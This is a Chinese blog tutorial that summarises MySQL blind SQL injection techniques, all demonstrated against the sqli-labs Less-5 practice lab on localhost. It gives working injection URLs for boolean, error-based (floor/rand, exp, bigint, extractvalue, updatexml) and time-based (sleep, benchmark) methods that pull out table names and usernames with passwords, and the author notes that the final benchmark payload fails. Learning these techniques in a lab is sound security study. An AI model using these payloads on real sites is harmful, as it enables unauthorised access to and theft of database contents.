SQL 盲注方法总结

文章目录

    • 1,布尔盲注---构造逻辑判断
      • ①left(database(),1)
      • ②ascii(substr())=n
      • ③regexp正则注入
      • ④ord()和mid()函数
    • 2,报错盲注
      • ①concat()floor(x)rand()
      • ②使用exp进行SQL报错注入
      • ③bigint溢出注入
      • ④xpath函数报错注入
    • 3,延时注入
      • ①利用sleep()函数进行注入
      • ②利用BENCHMARK()进行延时注入

1,布尔盲注—构造逻辑判断

①left(database(),1)

语句为:

http://localhost/sqli-labs-master/Less-5/?id=1' and left(database(),1)='a'#

left(database(),1)>’s’ //left()函数
left(a,b)从左侧截取a的前b位
表示从数据库名字第一个字母是否等于a,是则返回true
爆数据表:

http://localhost/sqli-labs-master/Less-5/?id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)='e'--+

得到第一个表第一个字母为e,可采用二分法尝试。

http://localhost/sqli-labs-master/Less-5/?id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema=database()),2)='em'--+

举一反三得到第一个表为emails。那怎么得到第二个表名称呢?我们采用limit()函数:
limit(m,n):从m开始取n条记录

http://localhost/sqli-labs-master/Less-5/?id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),1)>'a'--+

一直得到users表
之后继续得到password与username

②ascii(substr())=n

语句:

http://localhost/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101--+ 

substr(a,b,c)从b位置开始,截取字符串a的c长度。Ascii()将某个字符转换为ascii值
爆数据表:

http://localhost/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101--+ 

如何获取第一个表的第二位字符呢?
这里我们已经了解了substr()函数,这里使用substr(,2,1)即可。
其他同上,举一反三即可。

③regexp正则注入

因为本人不经常用此方法,此项不讲,可参考讲解

④ord()和mid()函数

语句:

http://localhost/sqli-labs-master/Less-5/?id=1' and ord(mid((select ifnull(cast(database() as char),0x20)from security.users order by id limit 0,1),1,1))>98--+

mid(a,b,c)从位置b开始,截取a字符串的c位
Ord()函数同ascii(),将字符转为ascii值
用法与ascii相似,举一反三即可。

2,报错盲注

基于报错的SQL盲注------构造payload让信息通过错误提示回显出来

①concat()floor(x)rand()

利用concat()floor(x)rand()函数进行报错注入,语法如下:

union select 1,count(*),concat(0x3a,0x3a,(user()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a--+

concat:计数
详细解释:https://blog.csdn.net/tbkken/article/details/8173074
a是concat(0x3a,0x3a,(user()),0x3a,0x3a,floor(rand()*2))的别名

函数 解释
FLOOR(x) 返回小于或等于x的最大整;SELECT FLOOR(1.5) – 返回1
RAND() 返回0->1的随机数: SELECT RAND() --0.93099315644334
RAND(x) 返回0->1的随机数,x值相同时返回的随机数相同: SELECT RAND(2) --1.5865798029924

group by:进行分组处理group by详解

以天书less-5来说明:
基础知识此处不讲,查看用户

http://localhost/sqli-labs-master/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

回显:
Duplicate entry ‘::root@localhost::1’ for key 'group_key’
表明该数据库用户名为:root@localhost
爆数据库:

http://localhost/sqli-labs-master/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

回显:
Duplicate entry ‘::security::1’ for key 'group_key’
表明该数据库名为:security
爆数据表:

http://localhost/sqli-labs-master/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

此时回显:Subquery returns more than 1 row
因为回显超过一行,导致回显失败,此时我们运用limit(start,length)
爆数据库第一个表:

http://localhost/sqli-labs-master/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

回显:Duplicate entry ‘::emails::1’ for key 'group_key’
表明数据库第一个表为emails,举一反三一直查寻到:
Duplicate entry ‘::users::1’ for key 'group_key’
查到users表,爆users表的第一列

http://localhost/sqli-labs-master/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

回显:Duplicate entry ‘::USER::1’ for key 'group_key’
这里就不重复造轮子了,一直报列,爆出username与password列
Duplicate entry ‘::username::1’ for key ‘group_key’
Duplicate entry ‘::password::1’ for key 'group_key’

报username与password数据段:

http://localhost/sqli-labs-master/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select concat (username,' ',password) from users limit 0,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

完成注入。

②使用exp进行SQL报错注入

详细原理参考大佬文章
Exp()为以e为底的对数函数;版本在5.5.5及其以上
以题作为典型理解尝试。仍然为天书less-5
爆数据库:

http://localhost/sqli-labs-master/Less-5/?id=1' union select (exp(~(select * from(select database())a))),2,3--+

爆数据表:

http://localhost/sqli-labs-master/Less-5/?id=1' union select 1,2,exp(~(select * from(select table_name from information_schema.tables where table_schema=database() limit 0,1)a))--+

爆列:

http://localhost/sqli-labs-master/Less-5/?id=1' union select 1,2,exp(~(select * from(select column_name from information_schema.columns where table_name='users' limit 0,1)a))--+

爆字段:

http://localhost/sqli-labs-master/Less-5/?id=1' union select 1,2,exp(~(select * from(select concat (username,' ',password) from users limit 0,1)a))--+

③bigint溢出注入

详细原理参考大佬文章
溢出一定要版本在5.5.5及其以上,不然不会回显出
以题作为典型理解尝试。仍然为天书less-5

http://localhost/sqli-labs-master/Less-5/?id=1' union select (!(select * from (select database())x) - ~0),2,3--+

更改都如exp一般,这里就不重复造轮子了。

④xpath函数报错注入

(1)extractvalue()
(2)updatexml()

名称 描述
ExtractValue() 使用XPath表示法从XML字符串中提取值
UpdateXML() 返回替换的XML片段
ExtractValue(xml_frag, xpath_expr)

ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径

例如:SELECT ExtractValue(’’, ‘/a/b’); 就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。
利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

UpdateXML(xml_target, xpath_expr, new_xml)

xml_target:: 需要操作的xml片段
xpath_expr: 需要更新的xml路径(Xpath格式)
new_xml: 更新后的内容
这里和上面的extractvalue函数一样,当Xpath路径语法错误时,就会报错,报错内容含有错误的路径内容

extractvalue()进行注入:

http://localhost/sqli-labs-master/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

回显:

 XPATH syntax error: '~security~'
http://localhost/sqli-labs-master/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

回显:

XPATH syntax error: '~emails,referers,uagents,users~'

重复造轮子就好。

updatexml()进行注入:

http://localhost/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

回显:

XPATH syntax error: '~security~'

重复造轮子就好。

注意:extractvalue()中的xml_frag,updatexml()中的xml_target与new_xml参数可以任意值,不表实际含义,仅仅占用位,本人为了方便直接填了1

3,延时注入

①利用sleep()函数进行注入

语句为:

http://localhost/sqli-labs-master/Less-5/?id=1' and If(ascii(substr((select database()),1,1))=101,1,sleep(5))--+

sleep() :延时语句
if(condition,ture,fales) :条件语句,如果condition为true则执行ture语句,反之执行fales语句
ascii() :转换成ascii
substr(“string”,strart,length) :mid()也一样从哪开始取几位
爆数据库:

http://localhost/sqli-labs-master/Less-5/?id=1' and If(ascii(substr((select database()),1,1))=115,1,sleep(5))--+

当database的第一个字母ascii码=115时,回显正常,可以采用二分法
爆表单:

http://localhost/sqli-labs-master/Less-5/?id=1' and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=101,1,sleep(5))--+

那如何获取第二个表呢?思考一下!

这里可以看到我们上述的语句中使用的limit 0,1. 意思就是从第0个开始,获取第一个。那要获取第二个是不是就是limit 1,1!
其余与布尔盲注ascii运用相似。

②利用BENCHMARK()进行延时注入

语句:

http://localhost/sqli-labs-master/Less-5/?id=1' union select(if(substr(current,1,1)=char(115),benchmark(10000000,encode('msg','by 5 second')),null)),2,3 from (select database() as current) as tb1--+

运行encode(‘msg’,‘by 5 second’)操作50000000次

不知道为什么在爆数据表时报错。。。崩溃

http://localhost/sqli-labs-master/Less-5/?id=1' union select(if(substr(current,1,1)=char(115),benchmark(10000000,encode('msg','by 5 second')),null)),2,3 from (select table_name from information_schema.tables where table_schema=database() as current) as tb1--+

你可能感兴趣的:(注入)